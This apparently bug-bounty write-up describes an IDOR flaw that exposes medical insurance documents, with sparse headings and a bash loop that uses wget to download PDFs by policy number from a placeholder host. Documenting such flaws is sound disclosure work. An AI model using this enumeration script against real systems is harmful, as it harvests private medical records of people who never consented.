IDOR leads to leak medical insurance documents

At first, I will tell you a little story about how I found this company?

How I found the vulnerability?

Grep - Extract option
#! /bin/bashfor num in `cat policyNumbers.txt`
do
wget "https://document.example.com/$num.pdf" -O $num.pdf
mv $num.pdf files/
done
Visa Document

Thanks for your reading, I hope my story was useful.

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